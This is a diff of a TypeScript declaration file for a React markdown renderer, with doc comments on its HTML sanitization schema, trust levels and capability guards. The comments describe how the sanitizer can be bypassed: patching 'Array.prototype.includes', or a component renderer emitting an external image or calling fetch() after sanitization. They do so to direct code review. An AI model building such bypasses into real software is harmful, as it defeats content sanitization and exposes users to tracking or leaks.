+ * `Array.prototype.includes` — which `hast-util-sanitize` calls on `tagNames` — and so
106
+ * make any schema, however correct, allow anything. Each of those was demonstrated;
107
+ * none of them is closable from inside a library in the same realm, and a guard that
108
+ * pretended otherwise would be worse than none.
109
+ *
110
+ * So read the trust profile as a promise about the CONTENT a surface renders, not as a
111
+ * sandbox around the capability. The guards exist for `extendSchema` because a one-line
112
+ * schema widening looks innocuous in a diff. Prototype surgery and an `<img src>` in a
113
+ * component do not — those are what code review is for.
114
+ *
115
+ * TWO DIFFERENT KINDS OF GUARANTEE, and they are worth keeping apart. ORDERING is
116
+ * structural: the type has no field that could express "after", the chain is built by
117
+ * one expression in one module, and a lint rule stops a second module importing the
118
+ * sanitizer at all — there is nothing to police because there is nothing to write.
119
+ * SCHEMA CONTENT is ENFORCED, not unrepresentable: `extendSchema` can return anything,
120
+ * and what stops it is a set of rules in `./guards` that run on every widening and
121
+ * throw. Those rules are an allowlist of the three keys a capability may reach
122
+ * (`MUTABLE_SCHEMA_KEYS`) plus denylists of dangerous content inside them, so a key
123
+ * the library grows later is closed on arrival rather than open until someone notices
124
+ * — but it is still a check that has to be right, and it is checked by tests rather
125
+ * than by the compiler. Say "enforced" about this half; "unrepresentable" belongs to
126
+ * the ordering.
127
+ */
128
+ interface MarkdownCapability {
129
+ /** Stable, unique id, e.g. "helpdesk.attachment-tokens". Duplicates throw. */
130
+ readonly id: string;
131
+ /** mdast-stage plugins, appended after the core gfm/breaks set, in capability order. */
132
+ readonly remarkPlugins?: PluggableList;
133
+ /** hast-stage plugins. ALWAYS placed before rehype-sanitize, by construction. */
134
+ readonly rehypeBeforeSanitize?: PluggableList;
135
+ /**
136
+ * Widen the sanitize schema so this capability's own output survives.
137
+ *
138
+ * ALWAYS spread what you are given — `(s) => ({ ...s, tagNames: [...] })`. A
139
+ * returned schema that drops a top-level key, or leaves one only on a prototype,
140
+ * is rejected: hast-util-sanitize merges over its own defaults one level deep and
141
+ * copies own properties only, so a dropped key would silently fall back to the
142
+ * library default (restoring `img` under `trust="untrusted"`, for one).
143
+ *
144
+ * The schema handed in is a private copy, so mutating it in place cannot escape.
145
+ * The return value is what counts, and it is SNAPSHOTTED — every property read once
146
+ * and stored as data — before it is judged, then frozen. So an accessor cannot
147
+ * answer one value to the guards and another to the sanitizer at render time, and
148
+ * the object that is enforced is never the object the capability still holds.
149
+ *
150
+ * Only `tagNames`, `attributes` and `protocols` may be changed at all; every other
151
+ * top-level key must come back as it was handed. Within those three, a widening that
152
+ * loosens the sanitizer past what a rendering feature can justify throws, naming the
153
+ * capability and the rule.
154
+ *
155
+ * WHAT THOSE RULES ARE IS NOT RESTATED HERE. Each lives in `./guards` as one module
156
+ * that owns both the definition and the error explaining it, and `schema.ts` lists
157
+ * them in the order they run. A copy in this doc comment would be a fourth place a
158
+ * policy change has to land, and the one place a reader cannot see it has not.
159
+ */
160
+ readonly extendSchema?: (schema: Schema) => Schema;
161
+ /**
162
+ * React element renderers, merged UNDER the call site's `components`.
163
+ *
164
+ * NOT GUARDED, AND NOT GUARDABLE — the one seam on this interface that is not.
165
+ * Every rule in `./guards` polices `extendSchema`, because a schema is data and can
166
+ * be read before it is enforced. A component is a function that runs AFTER
167
+ * `rehype-sanitize` has finished, and what it returns never passes through the
168
+ * sanitizer at all: `{ components: { p: () => <img src="https://…" /> } }` renders
169
+ * that image under `trust="untrusted"`, and no inspection short of executing the
170
+ * function could have known. A component that wanted to could skip the render and
171
+ * `fetch()` directly.
172
+ *
173
+ * One instance of the realm boundary described on this interface above, and the one
174
+ * a reviewer meets most often: if you are reviewing a capability, `components` is
175
+ * the part you read line by line.
176
+ */
177
+ readonly components?: Components;
178
+ }
179
+ /** The frozen result of the one assembly function. */
180
+ interface MarkdownPipeline {
181
+ readonly remarkPlugins: PluggableList;
182
+ /**
183
+ * Frozen, AND so is the last entry: the tuple [rehypeSanitize, schema], which is
184
+ * always last. Freezing only the array would leave that tuple writable, and with it
185
+ * the schema the pipeline spent its whole construction validating.
186
+ */
187
+ readonly rehypePlugins: PluggableList;
188
+ readonly components?: Components;
189
+ /** Literal type — not configurable. */
190
+ readonly skipHtml: true;
191
+ }
192
+ interface MarkdownViewProps {
193
+ /** The markdown source. Always a string, never HTML. Raw HTML is dropped, not escaped. */
194
+ children: string;
195
+ /** Image policy. Default "untrusted" — the safe value is the one you get by forgetting. */
196
+ trust?: MarkdownTrust;
197
+ /** remark-breaks: a lone newline renders as <br>. Default false. Only `projects` needs it. */
198
+ softBreaks?: boolean;
199
+ /**
200
+ * Opt-in extensions, applied in order. Compared by array identity — hoist the
201
+ * array to module scope or useMemo it, or the pipeline rebuilds every render.
202
+ */
203
+ capabilities?: readonly MarkdownCapability[];
204
+ /** Element overrides for ordinary markdown elements (p, a, code, li, …). */
205
+ components?: Components;
206
+ }
207
+
208
+ /**
209
+ * The shared markdown renderer. Emits no wrapper element — put your own class
210
+ * (`.ethisys-md` / `.ethisys-md--dense` from `@ethisyscore/plugin-ui/markdown.css`,
211
+ * or your surface's own) on the element you render this inside.
212
+ *
213
+ * It never concatenates a plugin array: it spreads the frozen pipeline and nothing
214
+ * else, so there is no second place where ordering could go wrong.
215
+ */
216
+ declare function MarkdownView({ children, trust, softBreaks, capabilities, components, }: MarkdownViewProps): react.JSX.Element;
217
+
218
+ /**
219
+ * `defaultSchema` plus `<input type/checked/disabled/className>`.
220
+ *
221
+ * WHY `input` IS ALLOWED. remark-gfm renders a task list (`- [x] done`) as
222
+ * `<input type="checkbox" disabled>` inside the list item. The base schema strips
223
+ * `<input>` entirely, so a task list would otherwise render as an empty bullet with
224
+ * the text beside it and no checkbox at all. All five of the renderer-local schema
225
+ * copies this module replaces carried exactly this allowance; it is reproduced here
226
+ * verbatim rather than re-litigated, so the consolidation is not also a behaviour
227
+ * change. (Follow-up, deliberately not done here: no consumer intercepts a checkbox
228
+ * toggle, so the allowance either wants wiring up or dropping.)
229
+ *
230
+ * Deep-frozen, and built from a private copy of `defaultSchema` — see `cloneSchema`.
231
+ * It is part of the public surface (the barrel exports it), so "nobody would mutate
232
+ * it" is not an argument available here.
233
+ */
234
+ declare const baseMarkdownSchema: Schema;
235
+
236
+ export { type MarkdownCapability, type MarkdownComponents, type MarkdownElementProps, type MarkdownPipeline, type MarkdownSanitizeSchema, type MarkdownTrust, MarkdownView, type MarkdownViewProps, baseMarkdownSchema };